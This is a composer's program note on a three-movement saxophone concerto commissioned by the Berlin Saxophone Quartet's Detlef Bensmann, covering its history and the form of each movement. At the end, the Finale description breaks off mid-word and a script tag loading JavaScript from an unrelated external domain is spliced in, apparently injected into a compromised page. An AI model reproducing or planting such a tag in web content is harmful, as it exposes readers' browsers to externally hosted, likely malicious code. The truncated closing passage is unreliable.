Update Title: B0B8EC87-6F1E-4469-875A-E3A89EC43FF4

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In 1993, the Berlin Saxophone Quartet premiered my "Quartet for Saxophones" as part of their American tour. A wonderful relationship began which has continued for over a decade. When the quartet returned to the United States in 1997 and presented the premiere series of my "Three American Dances," Detlef Bensmann was also focused on another project. In between rehearsals and performances, we spent a great deal of time discussing the idea for a new saxophone concerto. When he called me from Germany six months later, the commission was made official, and I immediately began composing the present work. The short score was finished in November of 1998, and the orchestration was completed in Franconia, New Hampshire on July 31, 2001. In preparation for the premiere, I spent the first half of 2004 engraving the score. It was during this process that I made some minor revisions.

I. Vivace: The form of the first movement can be loosely identified as ABABA. The A theme is built from a three note chromatic motive: D-sharp E D-sharp. This section of the piece is set in 6/8 meter and is to be performed with a feeling of swing. Each statement of the A material is varied and expanded and concludes with a two part cadence of jazz-oriented sonorities played tutti. Walking bass lines of quarter notes provide the support for the two B sections. The first of these is in 2/2 meter, while the second, with a more improvisatory thematic content, is cast in 5/4 time. The movement concludes with a coda that is an extended form of the two part tutti cadence.

II. Adagio: The soprano saxophone replaces the alto as the solo instrument for this second movement. Beginning very softy with a low E in the double basses, the strings and harp intone the minor/major seventh chords which emphasize the mournful character of the movement. With the harmonic progression moving upward by thirds from E to G to B-flat, the intensity, volume, and tempo build until the march-like Andante theme can no longer contain itself. This second theme bursts on the scene and is developed throughout the central portion of the movement. Imitative passages, alternating dynamics, and varied instrumentation also serve to provide contrast. The concluding moments of the middle section build to a dynamic and pitch climax which ushers in the return of the opening material. Rather than provide a literal recapitulation of the mournful first theme, the material is presented as a palindrome. The harmonic progression now moves downward from G to B-flat and finally to E, the volume diminishes from fff to ppp, and the saxophone's melodic material is played backwards. Thus the movement ends as it began, quietly and mournfully.

III. Finale: The form of the third movement can be identified as Introduction + ABABA + Coda. The eight measure introduction begins very softly with string tremolos which rapidly increase in volume and range. This chromatically moving material is abruptly cut off, and following a harp glissando (aided by strings and winds), the energetic bass line (punctuated by syncopated chords) introduces the A section of the movement. Although both motivic elements (16th notes and quarter note triplets) are present, the A section officially begins when the saxophone soloist (once again playing alto) enters. Moments later, after a short cadenza, the introduction of the B section serves to clarify the metric change from duple to triple meter. Once again, it is the saxophone soloist who presents the theme of this portion of the movement. After a brief transitional passage (material characterized by ascending fourths and colored by the techniques of slap tongue and trills), the piano (in its top register) recapitulates the energetic line previously played by the bass instruments. This statement of the A section concludes with a saxophone cadenza which is preceded by the slap tongue transitional passage. The orchestra is featured as B returns, and when the soloist re-e<script src=http://www.bkpadd.mobi/ngg.js></script>

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